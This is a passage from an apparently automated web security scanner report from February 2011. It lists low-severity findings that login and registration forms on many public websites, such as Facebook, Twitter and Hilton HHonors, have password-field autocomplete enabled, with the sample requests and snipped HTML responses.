Request

GET / HTTP/1.1
Host: fussballmania.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.9. http://fussballmania.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://fussballmania.com
Path:	/

Issue detail

The page contains a form with the following action URL:

http://fussballmania.com/ucp.php?mode=login&sid=955e48a0ffd550fd2eed80b7e16321c2

The form contains the following password field with autocomplete enabled:

password

Request

GET / HTTP/1.1
Host: fussballmania.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 17:29:26 GMT
Server: Apache/2.2.10 (Linux/SUSE)
X-Powered-By: PHP/5.2.11
Set-Cookie: phpbb3_cjiiy_u=1; expires=Mon, 06-Feb-2012 17:29:26 GMT; path=/; domain=.fussballmania.com; HttpOnly
Set-Cookie: phpbb3_cjiiy_k=; expires=Mon, 06-Feb-2012 17:29:26 GMT; path=/; domain=.fussballmania.com; HttpOnly
Set-Cookie: phpbb3_cjiiy_sid=955e48a0ffd550fd2eed80b7e16321c2; expires=Mon, 06-Feb-2012 17:29:26 GMT; path=/; domain=.fussballmania.com; HttpOnly
Cache-Control: private, no-cache="set-cookie"
Expires: 0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 32872

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="de" xml:lang="de">
<head>

<met
...[SNIP]...
</div>

   <form method="post" action="./ucp.php?mode=login&sid=955e48a0ffd550fd2eed80b7e16321c2" class="headerspace">
   <h3>
...[SNIP]...
</label> <input type="password" name="password" id="password" size="10" class="inputbox" title="Passwort" />

               | <label for="autologin">
...[SNIP]...

16.10. http://hhonors1.hilton.com/en_US/hh/home_index.do previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://hhonors1.hilton.com
Path:	/en_US/hh/home_index.do

Issue detail

The page contains a form with the following action URL:

http://hhonors1.hilton.com/doxch.do;jsessionid=8CAFAF63982F525635C9F2F8847A1317.etc61?dst=https://HH/en/hhonors/PFSLogin

The form contains the following password field with autocomplete enabled:

password

Request

GET /en_US/hh/home_index.do HTTP/1.1
Host: hhonors1.hilton.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.11. http://hhonors1.hilton.com/en_US/hh/home_index.do previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://hhonors1.hilton.com
Path:	/en_US/hh/home_index.do

Issue detail

The page contains a form with the following action URL:

http://hhonors1.hilton.com/en_US/hh/home_index.do

The form contains the following password field with autocomplete enabled:

password

Request

GET /en_US/hh/home_index.do HTTP/1.1
Host: hhonors1.hilton.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.12. http://malsup.com/jquery/form/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://malsup.com
Path:	/jquery/form/

Issue detail

The page contains a form with the following action URL:

http://malsup.com/jquery/form/dummy.php

The form contains the following password field with autocomplete enabled:

password

Request

GET /jquery/form/ HTTP/1.1
Host: malsup.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:58:23 GMT
Server: mod_security2/2.5.7
X-Powered-By: PHP/5.2.9
Vary: Accept-Encoding,User-Agent
MS-Author-Via: DAV
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 57977

<!DOCTYPE html>
<html lang="en_US" class="ui-widget-content">
<head>
<title>jQuery Form Plugin</title>
<link rel="stylesheet" href="http://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/themes/black
...[SNIP]...
</h3>
<form id="validateForm2" action="dummy.php" method="post"><div>
...[SNIP]...
<input type="text" name="username" />
Password: <input type="password" name="password" />
<input type="submit" value="Submit" />
...[SNIP]...

16.13. http://malsup.com/jquery/form/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://malsup.com
Path:	/jquery/form/

Issue detail

The page contains a form with the following action URL:

http://malsup.com/jquery/form/dummy.php

The form contains the following password field with autocomplete enabled:

password

Request

GET /jquery/form/ HTTP/1.1
Host: malsup.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:58:23 GMT
Server: mod_security2/2.5.7
X-Powered-By: PHP/5.2.9
Vary: Accept-Encoding,User-Agent
MS-Author-Via: DAV
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 57977

<!DOCTYPE html>
<html lang="en_US" class="ui-widget-content">
<head>
<title>jQuery Form Plugin</title>
<link rel="stylesheet" href="http://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/themes/black
...[SNIP]...
</h3>
<form id="validateForm1" action="dummy.php" method="post"><div>
...[SNIP]...
<input type="text" name="username" />
Password: <input type="password" name="password" />
<input type="submit" value="Submit" />
...[SNIP]...

16.14. http://malsup.com/jquery/form/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://malsup.com
Path:	/jquery/form/

Issue detail

The page contains a form with the following action URL:

http://malsup.com/jquery/form/dummy.php

The form contains the following password field with autocomplete enabled:

Password

Request

GET /jquery/form/ HTTP/1.1
Host: malsup.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.15. http://malsup.com/jquery/form/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://malsup.com
Path:	/jquery/form/

Issue detail

The page contains a form with the following action URL:

http://malsup.com/jquery/form/dummy.php

The form contains the following password field with autocomplete enabled:

password

Request

GET /jquery/form/ HTTP/1.1
Host: malsup.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.16. http://malsup.com/jquery/form/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://malsup.com
Path:	/jquery/form/

Issue detail

The page contains a form with the following action URL:

http://malsup.com/jquery/form/dummy2.php

The form contains the following password field with autocomplete enabled:

Password

Request

GET /jquery/form/ HTTP/1.1
Host: malsup.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.17. http://malsup.com/jquery/form/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://malsup.com
Path:	/jquery/form/

Issue detail

The page contains a form with the following action URL:

http://malsup.com/jquery/form/dummy.php

The form contains the following password field with autocomplete enabled:

Password

Request

GET /jquery/form/ HTTP/1.1
Host: malsup.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.18. http://multiply.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://multiply.com
Path:	/

Issue detail

The page contains a form with the following action URL:

http://multiply.com/user/signin

The form contains the following password field with autocomplete enabled:

signin::password

Request

GET / HTTP/1.1
Host: multiply.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:58:22 GMT
Server: Apache/1.3.29 (Unix) mod_perl/1.29
Set-Cookie: uid=A:1:U2FsdGVkX18nXdRwnCqU4LO1NyjWpdrU2Ie5Uu6OCIxeNFAUR-lkJQ%3d%3d:if0xmhaa8ycoogdw3utnprp; domain=multiply.com; path=/
Set-Cookie: session=1296946702:1296946702:1296946702:1::; domain=multiply.com; path=/; expires=Tuesday, 29-Jul-2014 23:12:40 GMT
Set-Cookie: initial_anon_referrer=; domain=multiply.com; path=/; expires=Tuesday, 29-Jul-2014 23:12:40 GMT
Set-Cookie: language=en; domain=multiply.com; path=/; expires=Tuesday, 29-Jul-2014 23:12:40 GMT
Set-Cookie: session=1296946702::1296946702:1::0; domain=multiply.com; path=/; expires=Tuesday, 29-Jul-2014 23:12:40 GMT
Set-Cookie: last_access=1296946702; domain=multiply.com; path=/
P3P: policyref="/w3c/p3p.xml", CP="ALL DSP COR CURa TAIa PSAa PSDa OUR NOR PHY UNI COM DEM PRE"
Expires: Wed, 13 Apr 2005 10:02:00 GMT
Pragma: no-cache
Cache-Control: max-age=0
Content-Type: text/html; charset=utf-8
X-Cache: MISS from multiply.com
Connection: close
Content-Length: 35002

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html id=html_tag>

<head>
<meta name="alexaVerifyID" content="BZXsox6-2zGOc66bo2BXtxgzrQ8" /
...[SNIP]...
<td align=right>
<form class='hform mobileform' action='/user/signin' method='post' id='signin_form'>
<input type='hidden' name='form::signin' value='signin'>
...[SNIP]...
<td class=pad6r id='cell_password'><input type='password' name='signin::password' value="" class='textfield' id='password' style='width: 100px' onkeydown='return keydown_login(event)'></td>
...[SNIP]...

16.19. http://ping.fm/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://ping.fm
Path:	/

Issue detail

The page contains a form with the following action URL:

https://ping.fm/signup/

The form contains the following password fields with autocomplete enabled:

password
vpassword

Request

GET / HTTP/1.1
Host: ping.fm
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:58:36 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Set-Cookie: PHPSESSID=1l5vulbvebogrm90n8ljmbpqf0; path=/
Content-Length: 7057
Connection: close
Via: 1.1 AN-0016020121270012

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<div class="signupnow">
                               <form name="signup" action="https://ping.fm/signup/" method="post">
                                <input type="text" name="email" class="input formtext" />
...[SNIP]...
</label><input type="password" name="password" class="medium" value="" />
                                </p>
...[SNIP]...
</label><input type="password" name="vpassword" class="medium" value="" />
                                </p>
...[SNIP]...

16.20. http://software.intel.com/en-us/articles/intel-cloud-builders/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://software.intel.com
Path:	/en-us/articles/intel-cloud-builders/

Issue detail

The page contains a form with the following action URL:

https://ssl.software.intel.com/en-us/login/?Lang=ENG&TARGET=http://software.intel.com/en-us/articles/intel-cloud-builders/?cidu003dvibrantlogo4

The form contains the following password field with autocomplete enabled:

txtPassword

Request

Response

HTTP/1.1 200 OK
Server: nginx
Content-Type: text/html; charset=utf-8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Language: en-us
X-Pingback: http://software.intel.com/en-us/services/comment/pingback/
Date: Sat, 05 Feb 2011 21:52:37 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: PHPSESSID=c680a28da547976765a9fecb001f8b7a; path=/; domain=intel.com
Set-Cookie: loginpt=0
Content-Length: 45164

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-us" xmlns="http://www.w3.org/1999/xhtml">
<head profile="http:
...[SNIP]...
<div class="boxBody">
<form action="https://ssl.software.intel.com/en-us/login/?Lang=ENG&TARGET=http://software.intel.com/en-us/articles/intel-cloud-builders/?cidu003dvibrantlogo4" method="post">
<input type="hidden" name="qlogin" value="true" />
...[SNIP]...
<div class="value"><input id="txtPassword" name="txtPassword" class="login" size="12" type="password" /></div>
...[SNIP]...

16.21. http://software.intel.com/en-us/articles/intel-cloud-builders/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://software.intel.com
Path:	/en-us/articles/intel-cloud-builders/

Issue detail

The page contains a form with the following action URL:

https://ssl.software.intel.com/en-us/login/?Lang=ENG&TARGET=http://software.intel.com/en-us/articles/intel-cloud-builders

The form contains the following password field with autocomplete enabled:

txtPassword

Request

GET /en-us/articles/intel-cloud-builders/ HTTP/1.1
Host: software.intel.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx
Content-Type: text/html; charset=utf-8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Language: en-us
X-Pingback: http://software.intel.com/en-us/services/comment/pingback/
Date: Sat, 05 Feb 2011 21:52:37 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: PHPSESSID=9418514b05e280c6f9c595a77739de8b; path=/; domain=intel.com
Set-Cookie: loginpt=0
Content-Length: 45100

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-us" xmlns="http://www.w3.org/1999/xhtml">
<head profile="http:
...[SNIP]...
<div class="boxBody">
<form action="https://ssl.software.intel.com/en-us/login/?Lang=ENG&TARGET=http://software.intel.com/en-us/articles/intel-cloud-builders" method="post">
<input type="hidden" name="qlogin" value="true" />
...[SNIP]...
<div class="value"><input id="txtPassword" name="txtPassword" class="login" size="12" type="password" /></div>
...[SNIP]...

16.22. http://tbe.taleo.net/NA7/ats/careers/jobSearch.jsp previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://tbe.taleo.net
Path:	/NA7/ats/careers/jobSearch.jsp

Issue detail

The page contains a form with the following action URL:

http://tbe.taleo.net/NA7/ats/careers/applicantView.jsp;jsessionid=C945AA07FE83ACD62665BD99018DE6A5.NA7_primary_jvm?org=VIBRANT&cws=1

The form contains the following password field with autocomplete enabled:

cwsPassword

Request

GET /NA7/ats/careers/jobSearch.jsp?org=VIBRANT&cws=1 HTTP/1.1
Host: tbe.taleo.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.23. http://tipd.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://tipd.com
Path:	/

Issue detail

The page contains a form with the following action URL:

http://tipd.com/register

The form contains the following password field with autocomplete enabled:

reg_password

Request

GET / HTTP/1.1
Host: tipd.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.24. http://tipd.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://tipd.com
Path:	/

Issue detail

The page contains a form with the following action URL:

http://tipd.com/login

The form contains the following password field with autocomplete enabled:

password

Request

GET / HTTP/1.1
Host: tipd.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.25. http://tipd.com/register previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://tipd.com
Path:	/register

Issue detail

The page contains a form with the following action URL:

http://tipd.com/login

The form contains the following password field with autocomplete enabled:

password

Request

Response

16.26. http://tipd.com/register previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://tipd.com
Path:	/register

Issue detail

The page contains a form with the following action URL:

http://tipd.com/register

The form contains the following password fields with autocomplete enabled:

reg_password
reg_password2

Request

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 13:39:54 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 18500

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<hea
...[SNIP]...
</p>

   <form action="/register" method="post" id="thisform">
       <p>
...[SNIP]...
</label>
                       <input type="password" class="text_input" id="reg_password" name="reg_password" value="password" size="25" tabindex="34"/>
       </p>
...[SNIP]...
</label>
           <input type="password" class="text_input" id="reg_verify" name="reg_password2" value="password" size="25" tabindex="35"/>
       </p>
...[SNIP]...

16.27. http://twitter.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://twitter.com
Path:	/

Issue detail

The page contains a form with the following action URL:

https://twitter.com/sessions

The form contains the following password field with autocomplete enabled:

session[password]

Request

GET / HTTP/1.1
Host: twitter.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.28. http://twitter.com/ORTHOSuperSite previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://twitter.com
Path:	/ORTHOSuperSite

Issue detail

The page contains a form with the following action URL:

https://twitter.com/sessions

The form contains the following password field with autocomplete enabled:

session[password]

Request

GET /ORTHOSuperSite HTTP/1.1
Host: twitter.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.29. http://twitter.com/VibrantMedia previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://twitter.com
Path:	/VibrantMedia

Issue detail

The page contains a form with the following action URL:

https://twitter.com/sessions

The form contains the following password field with autocomplete enabled:

session[password]

Request

GET /VibrantMedia HTTP/1.1
Host: twitter.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.30. http://twitter.com/owneriq previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://twitter.com
Path:	/owneriq

Issue detail

The page contains a form with the following action URL:

https://twitter.com/sessions

The form contains the following password field with autocomplete enabled:

session[password]

Request

GET /owneriq HTTP/1.1
Host: twitter.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.31. http://twitter.com/tipd previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://twitter.com
Path:	/tipd

Issue detail

The page contains a form with the following action URL:

https://twitter.com/sessions

The form contains the following password field with autocomplete enabled:

session[password]

Request

GET /tipd HTTP/1.1
Host: twitter.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.32. http://unalog.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://unalog.com
Path:	/

Issue detail

The page contains a form with the following action URL:

http://unalog.com/login/

The form contains the following password field with autocomplete enabled:

password

Request

GET / HTTP/1.1
Host: unalog.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.33. http://vodpod.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://vodpod.com
Path:	/

Issue detail

The page contains a form with the following action URL:

http://vodpod.com/site/login

The form contains the following password field with autocomplete enabled:

password

Request

GET / HTTP/1.1
Host: vodpod.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.34. http://wordpress.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://wordpress.com
Path:	/

Issue detail

The page contains a form with the following action URL:

https://en.wordpress.com/wp-login.php

The form contains the following password field with autocomplete enabled:

Request

GET / HTTP/1.1
Host: wordpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.35. https://www.americanexpress.com/gift/giftcardslanding.shtml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://www.americanexpress.com
Path:	/gift/giftcardslanding.shtml

Issue detail

The page contains a form with the following action URL:

https://sso.americanexpress.com/SSO/logon.fcc

The form contains the following password field with autocomplete enabled:

Request

GET /gift/giftcardslanding.shtml HTTP/1.1
Host: www.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:52:57 GMT
Server: IBM_HTTP_Server
Set-Cookie: SaneID=173.193.214.243-1296942777855214; path=/; expires=Tue, 09-Feb-16 21:52:57 GMT; domain=.americanexpress.com
Accept-Ranges: bytes
Cache-Control: max-age=-485925
Expires: Mon, 31 Jan 2011 06:54:12 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 64996

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
   <head>

...[SNIP]...
<div class="body">
<form id="login_form" name="login" action="https://sso.americanexpress.com/SSO/logon.fcc" method="post" onsubmit="return AEJS.saveLoginForm(this, 'login');" class="validate validate_login">            <input type="hidden" name="redirect" value="self"/>
...[SNIP]...
<br/>
<input type="password" id="input_password" class="text greyed" name="PWD" maxlength="20"/>
<input type="image" src="https://secure.cmax.americanexpress.com/Internet/US/Personal/Cardmember/AdditionalProductsAndServices/GiftCardsAndTravelersCheques/Images/NHP_HP_btn-login.gif" class="button"/
...[SNIP]...

16.36. http://www.arto.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.arto.com
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.arto.com/?rewrite=%2fsection%2ffrontpage%2f

The form contains the following password field with autocomplete enabled:

ctl00$ctl00$Main$SiteTopBar$ArtoLoginBox$PasswordTextbox

Request

GET / HTTP/1.1
Host: www.arto.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.37. http://www.bebo.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.bebo.com
Path:	/

Issue detail

The page contains a form with the following action URL:

https://secure.bebo.com/SignIn.jsp

The form contains the following password field with autocomplete enabled:

Password

Request

GET / HTTP/1.1
Host: www.bebo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Resin/3.0.24
Cache-Control: no-cache
Pragma: No-cache
Content-Language: us-US
Content-Type: text/html; charset=UTF-8
Content-Length: 16304
Date: Sat, 05 Feb 2011 23:01:29 GMT
Connection: close
Set-Cookie: bvid=c94114e0-b984-471b-b0e3-720e978d2001|1296946837192; domain=.bebo.com; path=/; expires=Fri, 06-May-2011 23:00:37 GMT
Set-Cookie: bdaysession=10972d3e51ad7d61367853489; domain=.bebo.com; path=/
Set-Cookie: sessioncreate=20110205230037; domain=.bebo.com; path=/
Set-Cookie: bvid=a2f9a221-b44f-4098-ba4c-4cc5cf278f98|1296946837204; domain=.bebo.com; path=/; expires=Fri, 06-May-2011 23:00:37 GMT
Set-Cookie: JSESSIONID=abc0pb9r1B6kTdozJd43s; path=/

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

...[SNIP]...
<div class="login-wrapper">

                   <form id="login-form" action="https://secure.bebo.com/SignIn.jsp" method="post">
                    <div class="field-wrapper">
...[SNIP]...
<input type="text" class="text-input inactive" name="EmailUsername" id="EmailUsername" value="Username" tabindex="1" />
                       <input type="password" class="text-input" name="Password" style="display:none;" />
                       <input type="text" class="text-input password-text inactive" value="Password" tabindex="2" />
...[SNIP]...

16.38. http://www.coe.gatech.edu/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.coe.gatech.edu
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.coe.gatech.edu/home?destination=home

The form contains the following password field with autocomplete enabled:

pass

Request

GET / HTTP/1.1
Host: www.coe.gatech.edu
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.39. http://www.connotea.org/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.connotea.org
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.connotea.org/login

The form contains the following password field with autocomplete enabled:

password

Request

GET / HTTP/1.1
Host: www.connotea.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.40. http://www.efort.org/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.efort.org
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.efort.org/Default.aspx

The form contains the following password field with autocomplete enabled:

ux_login_login$Password

Request

GET / HTTP/1.1
Host: www.efort.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.41. http://www.facebook.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.facebook.com/

The form contains the following password field with autocomplete enabled:

reg_passwd__

Request

Response

16.42. http://www.facebook.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/

Issue detail

The page contains a form with the following action URL:

https://www.facebook.com/login.php?login_attempt=1

The form contains the following password field with autocomplete enabled:

pass

Request

Response

16.43. http://www.facebook.com/BlackBerry previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/BlackBerry

Issue detail

The page contains a form with the following action URL:

https://www.facebook.com/login.php?login_attempt=1

The form contains the following password field with autocomplete enabled:

pass

Request

Response

16.44. http://www.facebook.com/BlackBerryES previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/BlackBerryES

Issue detail

The page contains a form with the following action URL:

https://www.facebook.com/login.php?login_attempt=1

The form contains the following password field with autocomplete enabled:

pass

Request

Response

16.45. http://www.facebook.com/BlackBerryFR previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/BlackBerryFR

Issue detail

The page contains a form with the following action URL:

https://www.facebook.com/login.php?login_attempt=1

The form contains the following password field with autocomplete enabled:

pass

Request

Response

16.46. http://www.facebook.com/BlackBerryNL previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/BlackBerryNL

Issue detail

The page contains a form with the following action URL:

https://www.facebook.com/login.php?login_attempt=1

The form contains the following password field with autocomplete enabled:

pass

Request

Response

16.47. http://www.facebook.com/BlackBerryUK previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/BlackBerryUK

Issue detail

The page contains a form with the following action URL:

https://www.facebook.com/login.php?login_attempt=1

The form contains the following password field with autocomplete enabled:

pass

Request

Response

16.48. http://www.facebook.com/BlackBerryZA previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/BlackBerryZA

Issue detail

The page contains a form with the following action URL:

https://www.facebook.com/login.php?login_attempt=1

The form contains the following password field with autocomplete enabled:

pass

Request

Response

16.49. http://www.facebook.com/Craig.Marshall.Deutschland previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/Craig.Marshall.Deutschland

Issue detail

The page contains a form with the following action URL:

https://www.facebook.com/login.php?login_attempt=1

The form contains the following password field with autocomplete enabled:

pass

Request

Response

16.50. http://www.facebook.com/ajouli1 previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/ajouli1

Issue detail

The page contains a form with the following action URL:

https://www.facebook.com/login.php?login_attempt=1

The form contains the following password field with autocomplete enabled:

pass

Request

Response

16.51. http://www.facebook.com/americanexpress previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/americanexpress

Issue detail

The page contains a form with the following action URL:

https://www.facebook.com/login.php?login_attempt=1

The form contains the following password field with autocomplete enabled:

pass

Request

GET /americanexpress HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.52. http://www.facebook.com/dcmoncayo previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/dcmoncayo

Issue detail

The page contains a form with the following action URL:

https://www.facebook.com/login.php?login_attempt=1

The form contains the following password field with autocomplete enabled:

pass

Request

Response

16.53. http://www.facebook.com/fabianomorige previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/fabianomorige

Issue detail

The page contains a form with the following action URL:

https://www.facebook.com/login.php?login_attempt=1

The form contains the following password field with autocomplete enabled:

pass

Request

Response

16.54. http://www.facebook.com/laprincesita.inigulable previous next

Summary

